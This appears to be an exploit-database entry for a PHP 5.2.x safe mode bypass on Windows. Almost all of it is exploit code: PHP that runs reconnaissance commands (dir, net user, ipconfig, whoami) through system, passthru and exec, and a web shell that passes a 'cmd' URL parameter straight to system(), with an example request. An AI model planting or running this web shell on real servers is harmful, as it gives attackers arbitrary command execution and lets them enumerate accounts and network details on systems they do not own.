PHP 5.2.x Safe Mode Windows Bypass Vulnerability



EKU-ID: 5538 CVE: OSVDB-ID:
Author: Meisam Monsef Published: 2016-05-11 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


<?php
        //Exploit Code 
        system('\dir');
        system('\net user');
        print passthru ('\ipconfig');
        exec('\whoami',$a);
        print_r($a);
        //Shell Script
        //shell.php?cmd=net user
        $cmd = '\\'.$_GET['cmd'];
        system($cmd);
?>